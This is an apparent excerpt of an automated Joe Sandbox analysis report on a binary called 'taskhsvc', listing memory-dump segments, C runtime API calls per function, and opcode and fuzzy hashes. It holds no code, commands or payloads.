                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: malloc$_cexitmemcpystrlen
                                                                                                                          • String ID: :[#
                                                                                                                          • API String ID: 701060287-4186674397
                                                                                                                          • Opcode ID: cd7f589d76105347a78618a3776504987e12e4271194c55471721ddee557b6d6
                                                                                                                          • Instruction ID: f28d2519d79beba55845256f515e735028ddb240e1000b4aee9f9d9cae66d50a
                                                                                                                          • Opcode Fuzzy Hash: cd7f589d76105347a78618a3776504987e12e4271194c55471721ddee557b6d6
                                                                                                                          • Instruction Fuzzy Hash: 77312FB4A08305DFCB10EF6AD88069EB7F6FB44300F15496DE959A7321E7309846CF52
                                                                                                                          Function 00D459C5 Relevance: 9.2, APIs: 6, Instructions: 151stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • _mkdir.MSVCRT ref: 00D45B54
                                                                                                                          • strerror.MSVCRT ref: 00D45B72
                                                                                                                          • abort.MSVCRT ref: 00D45A21
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          • free.MSVCRT ref: 00D45AA7
                                                                                                                          • strerror.MSVCRT ref: 00D45AD7
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D45C45
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strerrorstrrchr$_mkdirabortfree
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1793230095-0
                                                                                                                          • Opcode ID: 00b8e2b9550ea05823f610e375891d7a9cb3bdfd58e20bb36bc185cbd6f43237
                                                                                                                          • Instruction ID: 8a9c90f910a940c10d06f1a8d3360056c65dc1de0726e55162b4f790301ed33a
                                                                                                                          • Opcode Fuzzy Hash: 00b8e2b9550ea05823f610e375891d7a9cb3bdfd58e20bb36bc185cbd6f43237
                                                                                                                          • Instruction Fuzzy Hash: 7F61E3B09087098FDB10EFA8D58569EBBF0FF84354F04882DE498AB241D778D985DF62
                                                                                                                          Function 00D3683A Relevance: 9.1, APIs: 6, Instructions: 113stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                            • Part of subcall function 00D359C4: _open.MSVCRT ref: 00D35A44
                                                                                                                            • Part of subcall function 00D359C4: __stack_chk_fail.LIBSSP-0 ref: 00D35A5A
                                                                                                                          • strerror.MSVCRT ref: 00D368C0
                                                                                                                          • _lseek.MSVCRT ref: 00D36919
                                                                                                                          • _locking.MSVCRT ref: 00D36944
                                                                                                                          • strerror.MSVCRT ref: 00D36972
                                                                                                                          • _close.MSVCRT ref: 00D369B7
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D369FB
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strerror$_close_locking_lseek_open
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2717617813-0
                                                                                                                          • Opcode ID: 8bf02492696995e6a3d1305e6a6a79edbfaa75e7ce001a3786b7076302f4943b
                                                                                                                          • Instruction ID: c03caa7415d7ce6e5a097bf0a9d1c381cc4a07fc4543299de48a2750e1dfd651
                                                                                                                          • Opcode Fuzzy Hash: 8bf02492696995e6a3d1305e6a6a79edbfaa75e7ce001a3786b7076302f4943b
                                                                                                                          • Instruction Fuzzy Hash: F65173B4A092059FD740EFA8C58575EBBF0BB88304F119829E498EB351D775D9448F62
                                                                                                                          Function 00D06A4B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: abort$__stack_chk_fail
                                                                                                                          • String ID: P,$h"
                                                                                                                          • API String ID: 2908038143-2798968069
                                                                                                                          • Opcode ID: a9ace86c0ff7e8c20004295ee8e313e0c2a5c4a1812ebdd8954348bd7cc63e78
                                                                                                                          • Instruction ID: f191445db1f119a2fa89859df83b7e834854f055da2e2bb5575d4d2f8f80ecc1
                                                                                                                          • Opcode Fuzzy Hash: a9ace86c0ff7e8c20004295ee8e313e0c2a5c4a1812ebdd8954348bd7cc63e78
                                                                                                                          • Instruction Fuzzy Hash: C14107B4A042059FCB04EFA5C9456AEB7F1FF48314F05C419E858EB351E778D941CB61
                                                                                                                          Function 00C034DB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D4107E: abort.MSVCRT ref: 00D410D1
                                                                                                                            • Part of subcall function 00D4107E: malloc.MSVCRT ref: 00D410E9
                                                                                                                            • Part of subcall function 00D4107E: exit.MSVCRT ref: 00D4112A
                                                                                                                            • Part of subcall function 00D4107E: __stack_chk_fail.LIBSSP-0 ref: 00D4113D
                                                                                                                          • abort.MSVCRT ref: 00C035A1
                                                                                                                          • memset.MSVCRT ref: 00C035BC
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C035CF
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
